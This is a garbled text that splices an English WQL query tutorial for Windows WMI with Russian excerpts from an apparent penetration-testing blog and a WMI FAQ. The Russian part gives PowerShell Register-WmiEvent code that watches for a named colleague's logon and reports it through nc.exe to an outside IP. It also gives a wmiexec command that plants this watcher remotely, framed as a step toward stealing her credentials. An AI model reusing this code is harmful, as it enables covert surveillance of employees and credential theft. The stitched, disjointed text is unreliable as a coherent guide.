WQL operator comes in handy. Just like in SQL, the ‘%’ meta character replaces any string of zero or more characters, so this query returns all Win32_Service
instances where the Name
property contains the string “SQL”.
* Win32_Service Name > Name <
WMI namespace: Root\Cimv2
.
You can use all WQL operators with string properties. This query returns all Win32_Service
instances whose Name
is greater than ‘M’ or less than ‘O’. The usual string comparison rules apply.
* Win32_Service ExitCode =
WMI namespace: Root\Cimv2
.
The Win32_Process.ExitCode
property type is UInt32
, but it is enclosed in quotes. WMI will does its best to interpret a string value and convert it to an appropriate type. This doesn’t work the other way – with string properties, you have to use quotes.
* Cim_DataFile Drive = Path =
WMI namespace: Root\Cimv2
.
Cim_DataFile
is a WMI class with which you should definitely always use the WHERE
clause. ‘Select * From Cim_DataFile
’ alone can take hours to complete, because it will return all files on your computer. Note that the Path
property doesn’t contain file names or the drive letter which is stored in the Drive
property.
Associators {Win32_NetworkAdapter.DeviceId=1}
WMI namespace: Root\Cimv2
.
Win32_ComputerSystem
Win32_DeviceMemoryAddress
Win32_IRQResource
Win32_NetworkAdapterConfiguration
Win32_NetworkProtocol
Win32_PnPEntity
Win32_PortResource
Win32_SystemDriver
Associators {Win32_NetworkAdapter.DeviceId=1} ResultClass = Win32_NetworkAdapterConfiguration
WMI namespace: Root\Cimv2
.
Most of the time, you will not need all WMI objects associated with a WMI object. You can narrow the returned collection by specifying the class of the returned objects in an Associators Of
query Where
clause. The above query returns an instance of Win32_NetworkAdapterConfiguration
associated with the source object.
Associators {Win32_NetworkAdapter.DeviceId=1} AssocClass = Win32_NetworkAdapterSetting
WMI namespace: Root\Cimv2
.
WMI classes are associated by a special type of WMI classes, called association classes. Win32_NetworkAdapter
and Win32_NetworkAdapterConfiguration
objects are associated by instances of the association class called Win32_NetworkAdapterSetting
. As you can see, you can also use association class names to limit the returned object collection.
{Win32_NetworkAdapter.DeviceId=1}
WMI namespace: Root\Cimv2
.
Win32_AllocatedResource
Win32_NetworkAdapterSetting
Win32_PnPDevice
Win32_ProtocolBinding
Win32_SystemDevices
Event Queries
Event queries are used for WMI event subscriptions.
Query text:
Select * From __InstanceCreationEvent Within 5 Where TargetInstance Isa "Win32_Process"
WMI namespace: Root\Cimv2
.
Comment:
This query is also often found in WMI samples. WMI event queries are different from other query types in that they don’t return WMI objects immediately. Instead of that, they are used for subscribing to WMI events, and objects are returned as events arrive. Note the two distinctive characteristics of event queries not present in other query types: the Within
clause and the __InstanceCreationEvent
class. The Within
clause tells WMI how often to poll for events in seconds. In the above query, the polling interval is 5 seconds. WQL event monitoring consumes system resources, so it is important to balance between the need to get events on time and the need not to burden the system. The __InstanceCreationEvent
class is one of the classes used only in event queries (other two commonly used classes are __InstanceModificationEvent
and __InstanceDeletionEvent
). An instance of this class is created when a requested event arrives. The __InstanceCreationEvent.TargetInstance
property holds a reference to a WMI class that actually triggered the event. In the above query, it is the Win32_Process
class, and we can use the TargetInstance
property to access its properties.
Query text:
Select * From __InstanceCreationEvent Within 5 Where TargetInstance Isa "Win32_Process" And TargetInstance.Name = "Notepad.exe"
WMI namespace: Root\Cimv2
.
Comment:
This query monitors the process creation event but only for processes named ‘Notepad.exe’.
Query text:
Select * From __InstanceDeletionEvent Within 5 Where TargetInstance Isa "Win32_Process" And TargetInstance.Name = "Notepad.exe"
WMI namespace: Root\Cimv2
.
Comment:
Use this query to monitor process deletion events for processes whose Name
property is equal to ‘Notepad.exe’. A process deletion event occurs when a process exits. There is one thing you should note about a query like this: if you open Notepad and then quickly close it (within less than 5 seconds), it is possible for WMI to miss that and not report it as an event.
Query text:
Select * From __InstanceModificationEvent Within 5 Where TargetInstance Isa "Win32_Process" And TargetInstance.Name = "Notepad.exe"
WMI namespace: Root\Cimv2
.
Comment:
This query monitors Win32_Process
modification events, not the process modification event. This is an important distinction – if the Windows process entity has a property that is not represented with a Win32_Process
WMI class, and if that property changes, WMI will not report the change. Only Win32_Process
property changes are returned as WMI events.
Query text:
Select * From __InstanceOperationEvent Within 5 Where TargetInstance Isa "Win32_Process" And TargetInstance.Name = "Notepad.exe"
WMI namespace: Root\Cimv2
.
Comment:
This query monitors all three types of events: creation, deletion, and modification events. The __InstanceOperationEvent
class is the parent for the __InstanceCreation
, __InstanceDeletion
, and __InstanceModification
classes, and you can use this fact to subscribe to all three event types at the same time. The __InstanceOperationEvent
class is abstract
(which means that it doesn’t have instances), so the actual event class returned by an event is one of the tree instance classes, and you can find out which one by inspecting its __Class
system property. This way, you can determine the event type.
Использование событий WMI для наблюдения за пользователями
Пока я тешил себя мыслью, что я один такой умный и занимаюсь экспериментами с WMI, оказалось, что ребята, занимающиеся тестами на проникновение, уже давно поняли, как все работает. Вам обязательно нужно прочитать потрясающую презентацию Мэтта Грэбера (Matt Graeber) с конференции Black Hat 2015 года, где он рассказывает, как злоумышленники могут превратить WMI и весь его арсенал для работы с событиями в инструмент для взломов.
В моей истории я представляю себе инсайдера а-ля Сноуден, который обладает некоторыми техническими знаниями, но не глубокой хакерской мудростью, и которому доверяют другие сотрудники. Этому человеку не нужно знать все про WMI. Ему нужно знать только то, что требуется для работы на удаленном компьютере и инициирования событий.
Помимо файловых объектов, есть еще один интересный класс объектов, который можно изучить с помощью WMI, — win32_LogOnSession. Запрос этого базового объекта Windows позволяет найти пользователей, которые в данный момент находятся в системе. Затем можно использовать блок сценария действий Register-WmiEvent для запуска сценария PowerShell при удаленном входе нового пользователя в систему. Уловили суть? Злоумышленник может получать уведомления каждый раз, когда пользователь, за которым он следит, входит в целевую систему.
Вот что я набросал:
Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" –Action $action
Следующий вопрос — как запрограммировать выполнение блока сценария. Загадочного инсайдера из моих фантазий интересует конкретный пользователь — Круэлла. Наш злодей потихоньку шпионил за Круэллой и теперь планирует использовать собранную информацию, чтобы взломать ее рабочую учетную запись.
Задача блока сценария — проверить, кто вошел в систему, и определить, была ли это Круэлла. Я написал несколько строк кода PowerShell для этой цели, но это явно не самый лучший способ. Я никак не использую информацию о событии, передаваемую в блок сценария, а именно сведения о новом пользователе. Я наталкиваюсь на препятствия, причины которых я не могу понять в данный момент. Для этого нужно больше технических знаний, чем наш гипотетический инсайдер имеет или готов приобрести.
Вместо этого я просто перебрал список пользователей, возвращаемых gwmi Win32_Process (попробуйте запустить этот командлет в сеансе PowerShell), и сопоставил их с параметром «Круэлла». Можете полюбоваться на мое финальное решение:
Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {
$names=gwmi Win32_Process|% { $_.GetOwner().User}
foreach ($user in $names){
if ($user -eq "cruella") {
echo "cruella logged in"| C:\Users\lex\Documents\nc.exe 172.31.19.75 80
}
}
}
Register-WmiEvent позволяет сохранять скрытность, поскольку он запускается только при новом входе в систему, вместо того чтобы регулярно запрашивать объект Win32_Process, что может быть довольно заметным.
Помните, что наш инсайдер старается не привлекать к себе внимания. У нее есть доступ к удаленной системе через psexec, smbexec или wmiexec (самый незаметный способ). Однако ей не нужно постоянно бродить туда-сюда по системе жертвы.
В этом и прелесть использования событий WMI. Вы можете дождаться уведомления от Register-WmiEvent, а затем спокойно сделать свой ход.
Schema Queries
Schema queries are used to get information about WMI itself and its structure.
* Meta_Class
WMI namespace: Any.
This is the most basic schema query. You can connect to any WMI namespace and use this query to get all the classes present in it. Meta_Class
is a meta class used only in schema queries.
* Meta_Class __Class =
WMI namespace: Root\Cimv2
.
This query uses the __Class
system property to get the Win32_LogicalDisk
class. Schema queries don’t return class instances, but class definitions, and a query like this will return a class definition regardless of whether there are any instances. Why would you want to get a class definition? New WMI classes are added for every new Windows version, and a query like this can check if a class exists on a system.
* Meta_Class __Superclass
WMI namespace: Any.
WMI is organized hierarchically – there is a hierarchy of namespaces as class containers, and there is a hierarchy of classes within each namespace. There is only one top level namespace called ‘Root’, but there is always more than one top level class in a namespace (even when you create a new empty namespace, a number of system WMI classes are created automatically). You can use this query to get all top level classes for a namespace. (This query also works if you use ‘=
‘ instead of ‘Is
‘.)
* Meta_Class __Superclass =
WMI namespace: Root\Cimv2
.
For each WMI class, the __Superclass
property holds the name of its immediate parent class. You can use this query to return all immediate children classes of a class. Note the quotes around the class name. __Superclass
is one of the seven WMI system properties (see details here), and you can use them in schema queries. All except one – the __Dynasty
property is a string array, and you can’t use array properties in WQL queries. The above query returns two classes: Win32_LocalTime
and Win32_UTCTime
, the immediate children of Win32_CurrentTime
.
* Meta_Class __Dynasty =
WMI namespace: Root\Cimv2
.
__Dynasty
is another WMI system property – for each class, it holds the name of the top level class from which the class is derived. This query will return all children of Cim_Setting
, a top level class situated in the Root\Cimv2
namespace.
* Meta_Class __Class
WMI namespace: Root\Cimv2
.
All WMI classes belong to a schema (or at least they should). For example, classes whose name begins with ‘Cim’ belong to the Cim
schema, a group of ‘core and common’ WMI classes defined by DMTF. Classes that begin with ‘Win32’ belong to the ‘Win32
’ schema – these classes are derived from Cim
classes and extend them. You can use this query to list all classes that belong to the ‘Win32
’ schema. The query uses the Like
operator – this means, it can’t be used on Windows versions earlier than Windows XP, because the Like
operator was added to WQL for XP.
* Meta_Class __This Isa
WMI namespace: Any.
This is not an event query despite the fact that it uses the __Event
class. It is a schema query that lists all child classes (both direct and indirect) of __Event
. Note the use of ‘__This
’, a special WMI property used in schema queries, and the ‘Isa
’ operator.
This member has not yet provided a Biography. Assume it’s interesting and varied, and probably something to do with programming.
Можно ли отключить постоянные события WMI?
По крайней мере, ИТ-специалисты могут быстро увидеть зарегистрированные постоянные события WMI и приступить к анализу сценариев реальных событий на наличие признаков угроз. Возможно, как опытный специалист по ИТ-безопасности, вы считаете, что не всем нужен WMI на ноутбуках и лучшая стратегия по работе с уязвимостями постоянных событий WMI — это совсем отключить WMI.
Можно попробовать отключить службу Winmgmt, которая запускает WMI. На практике это не так уж просто. В ходе моих собственных тестов я так и не смог отключить эту службу: она автоматически запускалась снова и снова.
Предположим, что вам все же удалось отключить ее. Административное программное обеспечение Windows во многом зависит от WMI и не будет работать, если Winmgmt недоступна. По всему Интернету форумы наполнены сообщениями, предостерегающими от отключения WMI. Советую к ним прислушаться и помиловать ваш WMI.
Устранение недочетов в механизме наблюдения WMI
В рамках этого примера я хотел удаленно запустить (используя wmiexec) полезную программу, которая будет предупреждать меня, когда конкретный пользователь, то есть Круэлла, входит в систему. После этого я мог спокойно сбросить и взломать ее учетные данные. Это был бы самый незаметный способ — удаленный доступ и никаких файлов. Единственная проблема, как мне поначалу казалось, заключалась во временном характере событий WMI.
Поэтому мне нужно было заключить мое непристойно длинное Register-WMIEvent (ниже) в командную строку PowerShell с параметром –noexit, обеспечивающим сохранение сеанса PowerShell после выполнения Register-Event, а значит, и сохранение события.
Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {$names=gwmi Win32_Process|% { $_.GetOwner().User};foreach ($user in $names){if ($user -eq "cruella") {echo "cruella logged in"| C:\Users\lex\Documents\nc.exe 172.31.19.75 80}}}
Когда я начал работать над этим, я понял, что должен «преобразовать» специальные символы, такие как $, “ и |, и передавать их как литералы непосредственно в PowerShell. Еще одна головная боль: мне в итоге пришлось отказаться от использования вертикальных линий, поскольку они вызывали ошибки анализа. Не спрашивайте. Постепенно я пришел к этой длинной строке кода:
$command="powershell -noexit -C Register-WMIEvent -Query ""Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3"" -Action {`$names = gwmi Win32_Process; `$users=@(); foreach (`$n in `$names) {`$users += `$n.GetOwner().User}; foreach (`$u in `$users) {if (`$u -eq ""cruella"") {.\wmiexec C:\Users\lex\Documents\nc.exe 172.31.18.92 80 }}}
.\wmiexec.exe corp.acme/lex@172.31.46.115 "$command"
Она выглядела многообещающе и, казалось, работала правильно, если верить журналу событий Windows в целевой системе. Однако, присмотревшись, я понял, что она не работает. Я уверен, что в итоге смог бы привести ее в нужный вид, но для этого мне потребовалось бы время и кофе, много кофе. Есть и другой вариант, чуть менее незаметный и совсем не бесфайловый: можно использовать smbclient для переноса сценария, а затем запустить его напрямую на целевом компьютере.
Удаленное выполнение сложного командлета Register-Event казалось мне абсолютно правильным. Но оно не работало. Ну и ладно
Увы, на этом этапе мои предположения о том, что сообразительный, но не слишком опытный инсайдер мог бы легко использовать временные события WMI для скрытого наблюдения, стали потихоньку разваливаться.
Часто задаваемые вопросы об инструментарии управления Windows
Описанные выше методы вполне могут быть использованы для реализации системы наблюдения в вашей сети, однако у вас могли остаться некоторые вопросы о WMI. В этом разделе мы ответим на самые распространенные из них.
WMI объявлен устаревшим?
Сам WMI не устарел, но была объявлена устаревшей WMIC, что вводит многих людей в заблуждение. Для доступа к функциям, ранее обеспечиваемым WMIC, теперь используется PowerShell.
Какие порты использует WMI?
WMI использует TCP-порт 135 и ряд динамических портов: 49152-65535 (динамические порты RPC: Windows Vista, 2008 и выше), TCP 1024-65535 (динамические порты RPC: Windows NT4, Windows 2000, Windows 2003). Вы также можете настроить для WMI пользовательский диапазон портов.
WMI использует WimRM?
Данная конфигурация не является стандартной, однако вы можете использовать WMI для получения данных с помощью сценариев или приложений, использующих WinRM Scripting API, или с помощью инструмента командной строки Winrm. WinRM может использовать WMI для сбора данных о ресурсах или для управления ресурсами в операционной системе Windows.